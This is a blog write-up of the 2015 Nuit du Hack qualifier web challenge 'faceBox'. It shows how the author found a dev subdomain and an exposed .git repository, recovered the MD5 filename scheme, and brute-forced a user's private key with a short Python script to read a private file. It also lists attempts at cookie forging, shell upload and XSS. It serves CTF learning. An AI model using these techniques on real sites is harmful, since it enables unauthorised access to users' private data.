title: Quals NdH 2015 faceBox - web100 author: depierre published: 2015-04-06 categories: CTF, Security keywords: quals, nuit du hack, ctf, write-up, web, 100, challenge, security, hackgyver Last week-end I participated to the qualifications of [NdH](http://quals.nuitduhack.com/) with [HackGyver](http://hackgyver.org) ([scoreboard](/static/images/qualsndh2k15/scoreboard.png)). We gathered at the hackerspace's local with [futex](http://remchp.com/), kiwhacks and pastrep (a new member met at the SecuRT 2015). We finished 32 over more than 200 teams that validated at least one challenge. It is not that bad, knowing that some of our key comrades where not available this Saturday. ![Meme 500 Internal Errors Everywhere](/static/images/qualsndh2k15/meme500.jpg) I thought that I could write something about their [faceBox](http://quals.nuitduhack.com/challenges/view/10) web challenge. # faceBox - The challenge On its web page: > A shady company decided to write their own software for storing files in the cloud. > > "No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files > get lost, trashed, stolen or spy on : it's your fault, not ours." > > You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to > get hacked by malicious actors. The homepage of the challenge allows the user to upload ``.txt`` files and specifies whether it should be private or public. ![faceBox Homepage](/static/images/qualsndh2k15/facebox_homepage.png) Later you can access your files via ``http://prod.facebox.challs.nuitduhack.com/files/view/``. ![faceBox Files](/static/images/qualsndh2k15/facebox_files.png) So far we felt that we had to find a way to access koffi's ``confidentials.txt`` private file. # Failed attempts 1. **Forge cookie** After looking around, we first thought that we had to tamper the ``session`` cookie because, after base64 decoding it, it gave something interesting: ``{"_csrf_token":{"b":"YWU3Y2ZlMzJhMzg0MGMyNDU2OGVkZjA1MmY4MDA0ZmMxZGE2MmQ0NA=="},"user_id":16}`` where the CSRF token is the base64 from the Home page. We wanted to tamper the cookie and change our ``"user_id"`` to ``1`` but we could not find a way to forge a valid signature. 2. **Upload exploit** Then we tried to use the upload feature in order to upload something else than ``.txt`` files, like a php shell or something but without any luck. We also tried to upload some XSS payloads in order to intercept the cookie ``session`` idea from that ``koffi`` guy but the output was escaped. 3. **Injection in URLs** We also tried to do some injections in the URLs such as ``http://prod.facebox.challs.nuitduhack.com/files/`` but we only raised 500 Internal Errors. 4. **MD5 guessing** What we realized during our testing that **a user 1 could read a user 2's private files** just by finding the correct MD5. That is why we tried to guess how the md5 files were generated. We tried a couple of things like ``md5(filename)``, ``md5(filename+timestamp)``, ``md5(timestamp+filename)``, etc. but sadly none worked. # Solution We moved along and worked on other challenges because it was not worth 100 points spending hours on this web challenge. Then I spoke with mortis from [pollypocket](https://ctftime.org/team/1157) and I want to thank him for his kindness. He told me to look for ``dev`` stuff. Indeed, taking a look at my Burp history: Host: prod.facebox.challs.nuitduhack.com Hum, I wonder what ``dev.*`` would give us: GET / HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 200 OK dev Then we stumbled onto this: GET /.git/ HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 403 Forbidden OK, directory listing was forbidden but: GET /.git/config HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 200 OK [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true I tried to rebuild the git repository by hand but I could not find the technical details about the ``objects`` directory but hopefully, [jvoisin](http://dustri.org/) linked me a nice tool: [dvcs-ripper](https://github.com/kost/dvcs-ripper). It smoothly retrieved the repository that contained ``main.py`` faceBox's file: :::python #!/usr/bin/env python # -*- coding: utf-8 -*- def generate_random_filename(user_id,filename): dbuser = users.query.filter_by(id=user_id).first() if dbuser.privkey is not None: return md5(str(dbuser.privkey)+filename).hexdigest() else: privkey = str(randint(10000000,99999999)) upd = users.query.filter_by(id=user_id).first() upd.privkey = privkey db.session.commit() return md5(str(privkey)+filename).hexdigest() We are getting really close. Now that we know how the MD5s are generated, we could forge the one from koffi. The only thing that we need is his ``privkey``. # Quick and dirty I wrote a quick-and-dirty python script that would request the server for each ``privkey + filename`` between 10000000 and 99999999. That was a stupid idea because: + First, the server would answer 500 Internal Error for each request (high timeout, even when using ``timeout=0.x``). + Second, generating all the MD5s gave me 3.2 GB of data... which is a lot to test :D Then we realized that we already had one MD5 from koffi: his public file ``paste01.txt`` which is ``3686d78a6e9d5258773a6ae0469d3ed4``. Therefore I wrote another script to brute-force it locally: :::python import sys import hashlib FILENAME = "paste01.txt" GOOD = "3686d78a6e9d5258773a6ae0469d3ed4" for i in range(99999999, 10000000, -1): md5digest = hashlib.md5(str(i)+FILENAME).hexdigest() if md5digest == GOOD: print("Found for privatekey=%d" % i) sys.exit() Which outputted: ``Found for privatekey=95594864``. Then we forged the MD5 for ``confidentials.txt`` which is ``35e2cb0b2e8bd40347ecd4e32767a060`` and accessed the file: M4x_M4i5_DR *Note:* Overall, I really think that this web challenge was worth more than 100 points, especially when the [Bpythonastic](http://quals.nuitduhack.com/challenges/view/17) forensic, 300 points, was just a ``strings | grep``... Only 18 teams validated it compared to 85 for the other web100 (and 121 for that forensic300).